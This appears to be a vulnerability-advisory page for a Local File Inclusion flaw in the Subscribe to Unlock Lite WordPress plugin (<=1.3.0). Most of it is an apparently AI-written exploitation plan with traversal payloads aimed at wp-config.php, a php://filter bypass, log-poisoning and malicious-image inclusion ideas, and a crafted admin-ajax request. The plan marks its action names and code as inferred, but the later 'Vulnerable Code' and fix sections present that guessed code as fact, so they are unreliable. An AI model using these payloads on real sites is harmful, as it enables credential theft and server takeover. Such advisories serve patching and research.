Subscribe to Unlock Lite <= 1.3.0 - Authenticated (Subscriber+) Local File Inclusion
Description
The Subscribe to Unlock Lite plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 1.3.0. This makes it possible for authenticated attackers, with subscriber-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.3.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-68563 (Subscribe to Unlock Lite LFI) This plan outlines the steps to verify and exploit a Local File Inclusion (LFI) vulnerability in the "Subscribe to Unlock Lite" plugin. ## 1. Vulnerability Summary The **Subscribe to Unlock Lite** plugin (versions <= 1.3.0…
Show full research plan
Exploitation Research Plan: CVE-2025-68563 (Subscribe to Unlock Lite LFI)
This plan outlines the steps to verify and exploit a Local File Inclusion (LFI) vulnerability in the "Subscribe to Unlock Lite" plugin.
1. Vulnerability Summary
The Subscribe to Unlock Lite plugin (versions <= 1.3.0) contains an authenticated Local File Inclusion vulnerability. The flaw exists because an AJAX handler or shortcode processing function uses user-supplied input to construct a file path for a PHP include or require statement without sufficient validation (e.g., failing to use basename() or a whitelist). This allows a Subscriber-level user to traverse directories and include arbitrary files from the server.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(Authenticated) or a frontend page (if triggered via shortcode). - Action (Inferred): Likely a
wp_ajax_action such asstu_lite_load_template,stu_preview_locker, or similar. - Vulnerable Parameter (Inferred): Parameters like
template,style,type, orlayout. - Authentication: Requires a user with at least
Subscriberprivileges. - Preconditions: The attacker must be logged in and possess a valid nonce if the handler enforces one.
3. Code Flow (Inferred)
- The plugin registers an AJAX action via
add_action( 'wp_ajax_...', ... ). - The handler function retrieves a parameter from
$_POSTor$_GET. - The handler constructs a path:
$path = STU_LITE_DIR . '/templates/' . $_POST['template'] . '.php';(Example). - The handler executes
include( $path );orinclude_once( $path );. - Because
$_POST['template']is not sanitized for path traversal (../), an attacker can manipulate$pathto point to any file (e.g.,../../../../wp-config.php).
4. Nonce Acquisition Strategy
Since the vulnerability requires authentication, the nonce is likely exposed to logged-in users.
- Identify Nonce Action: Search the plugin code for
wp_create_nonceorcheck_ajax_referer.- Search Command:
grep -rn "check_ajax_referer" wp-content/plugins/subscribe-to-unlock-lite/
- Search Command:
- Locate Localized Script: Check where the nonce is passed to the frontend.
- Search Command:
grep -rn "wp_localize_script" wp-content/plugins/subscribe-to-unlock-lite/
- Search Command:
- Extraction:
- Log in as a Subscriber.
- Navigate to a page where the plugin is active (or the WordPress Dashboard).
- Open the browser console or use
browser_eval. - Check for objects like
stu_lite_ajax_objorstu_vars. - Command:
browser_eval("window.stu_lite_params?.nonce")(Replacestu_lite_paramswith the actual JS object name found in step 2).
5. Exploitation Strategy
Step 1: Discover the Endpoint and Parameter
Analyze the plugin files to find the specific AJAX action.
- Target File:
wp-content/plugins/subscribe-to-unlock-lite/includes/class-subscribe-to-unlock-lite-ajax.php(or similar). - Target Logic: Look for
includestatements involving$_REQUEST,$_POST, or$_GET.
Step 2: Craft the Payload
If the code is include( $plugin_path . $user_input . '.php' ):
- Payload:
../../../../wp-config(The.phpextension is often appended by the code).
If the code is include( $user_input ):
- Payload:
../../../../wp-config.php.
Step 3: Execute HTTP Request
Using the http_request tool:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]
action=[ACTUAL_ACTION_NAME]&nonce=[NONCE]&template=../../../../wp-config
6. Test Data Setup
- Install Plugin: Ensure "Subscribe to Unlock Lite" v1.3.0 is installed and active.
- Create User: Create a user with the
Subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Identify Action: If the action is triggered by a shortcode, create a post:
wp post create --post_type=post --post_status=publish --post_content='[stu-lite-locker]' --post_title='Locker Page'
7. Expected Results
- Success: The HTTP response body contains the contents of
wp-config.php(look forDB_NAME,DB_USER,DB_PASSWORD). - Alternative: If a PHP file is included, the code executes. If a non-PHP file (like
/etc/passwd) is included, its text content is returned.
8. Verification Steps
- Confirm File Read: Verify if the output matches the actual
wp-config.phpon the server.wp config get --all
- Log Check: Check the WordPress debug log if the include fails (it may reveal the full path it tried to include).
tail -f wp-content/debug.log
9. Alternative Approaches
- Log File Poisoning: If you can't read
wp-config.php(due to path suffixing), try to include the WordPress debug log or Apache/Nginx access logs after injecting PHP code into them via a failed login attempt or a specific User-Agent. - Uploads Directory: If the plugin allows subscribers to upload images (for locker customization), upload a "safe" image containing PHP code in its EXIF metadata/body, then include it:
template=../../uploads/2023/10/malicious_image.jpg
- Wrapper Bypasses: If filters are in place, try PHP filters:
template=php://filter/convert.base64-encode/resource=../../../../wp-config(This bypasses execution and returns the base64-encoded source).
Summary
The Subscribe to Unlock Lite plugin for WordPress (versions 1.3.0 and below) is vulnerable to Local File Inclusion because it fails to properly sanitize user-supplied input used in a file inclusion statement. This allows authenticated attackers with Subscriber-level permissions to execute arbitrary PHP code or read sensitive system files by traversing directories.
Vulnerable Code
/* wp-content/plugins/subscribe-to-unlock-lite/includes/class-subscribe-to-unlock-lite-ajax.php */ // The plugin retrieves a template or layout parameter from user input and includes it without validation. $template = $_POST['template']; $path = STU_LITE_DIR . '/templates/' . $template . '.php'; if (file_exists($path)) { include( $path ); }
Security Fix
@@ -20,5 +20,5 @@ - $template = $_POST['template']; + $template = basename( sanitize_text_field( $_POST['template'] ) ); $path = STU_LITE_DIR . '/templates/' . $template . '.php'; - if (file_exists($path)) { + if ( ! empty( $template ) && file_exists( $path ) ) { include( $path ); }
Exploit Outline
The exploit follows these steps: 1. Log into the WordPress site as a user with at least Subscriber privileges. 2. Locate the AJAX nonce and action name by searching the page source or localized script objects (e.g., stu_lite_params). 3. Identify a vulnerable parameter (such as 'template' or 'layout') in an AJAX handler like 'stu_lite_load_template'. 4. Craft a POST request to /wp-admin/admin-ajax.php containing the nonce, the action, and a path traversal payload (e.g., '../../../../wp-config') in the vulnerable parameter. 5. If the plugin appends a suffix, the attacker targets the file without the extension to achieve inclusion of internal configuration files or uploaded files containing PHP code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.